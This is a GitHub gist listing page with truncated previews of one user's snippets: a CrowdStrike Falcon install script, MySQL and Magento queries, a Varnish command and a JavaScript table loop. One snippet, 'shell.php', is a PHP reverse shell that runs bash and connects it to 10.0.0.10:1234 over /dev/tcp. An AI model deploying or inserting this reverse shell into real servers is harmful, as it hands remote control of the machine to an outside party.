Skip to content

Instantly share code, notes, and snippets.

@caseybecking
caseybecking / falcon-linux-install.sh
Created May 10, 2023 18:39
falcon-linux-install.sh
#!/bin/bash
print_usage() {
cat <<EOF
This script installs and configures the CrowdStrike Falcon Sensor for Linux.
CrowdStrike API credentials are needed to download Falcon sensor. The script recognizes the following environmental variables:
- FALCON_CLIENT_ID
- FALCON_CLIENT_SECRET
@caseybecking
caseybecking / shell.php
Created June 12, 2018 16:12 — forked from rshipp/shell.php
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
#!/bin/bash
################################################################################
# FUNCTIONS
################################################################################
# 1. Check required system tools
_check_installed_tools() {
local missed=""
SET @DATABASE = 'prod';
SELECT CONCAT(table_schema, '.', table_name),
CONCAT(ROUND(table_rows / 1000000, 2), 'M') rows,
CONCAT(ROUND(data_length / ( 1024 * 1024 * 1024 ), 2), 'G') DATA,
CONCAT(ROUND(index_length / ( 1024 * 1024 * 1024 ), 2), 'G') idx,
CONCAT(ROUND(( data_length + index_length ) / ( 1024 * 1024 * 1024 ), 2), 'G') total_size,
ROUND(index_length / data_length, 2) idxfrac
FROM information_schema.TABLES
WHERE `information_schema`.TABLES.table_schema = @DATABASE
-- This takes about 30 seconds, but will make the next query a billion times faster
alter table sales_flat_order_item add index (product_id);
-- This takes about 5 seconds with the index added
select
cpe.entity_id product_id,
cpe.sku,
at_style_number.value style_number,
cpe.created_at product_created_date,
sum(sfoi.qty_ordered) total_ordered,
SELECT table_name AS "Tables",
round(((data_length + index_length) / 1024 / 1024), 2) "Size in MB"
FROM information_schema.TABLES
WHERE table_schema = "volcom"
ORDER BY (data_length + index_length) DESC;
sudo /usr/local/opt/varnish3/sbin/varnishd -n /usr/local/var/varnish -f /usr/local/etc/varnish/default.vcl -s malloc,1G -T localhost:6082 -a :80 -p cli_buffer=81920 -p esi_syntax=0x2
#!/bin/bash
################################################################################
# FUNCTIONS
################################################################################
# 1. Check required system tools
_check_installed_tools() {
local missed=""
-- Make sure to uncomment one of the where conditions below or your query will take forever
select
lu.visit_time,
inet_ntoa(lvi.server_addr) server_addr,
inet_ntoa(lvi.remote_addr) remote_addr,
lui.url,
lc.customer_id,
ce.email,
cs.name store,
lvi.http_user_agent,
@caseybecking
caseybecking / gist:7331508
Last active December 27, 2015 13:09
Iterations with bold
<script type="text/javascript">
document.write('<table border="1" cellspacing="1" cellpadding="5">');
for(tableRows = 1; tableRows < 13; tableRows++){
document.write('<tr>');
for (tableColumns = 1; tableColumns < 13; tableColumns++){
if (tableRows === 1) {
document.write('<td><b>' + (tableRows * tableColumns) + '</b></td>');
}else if (tableColumns === 1 ){
document.write('<td><b>' + (tableRows * tableColumns) + '</b></td>');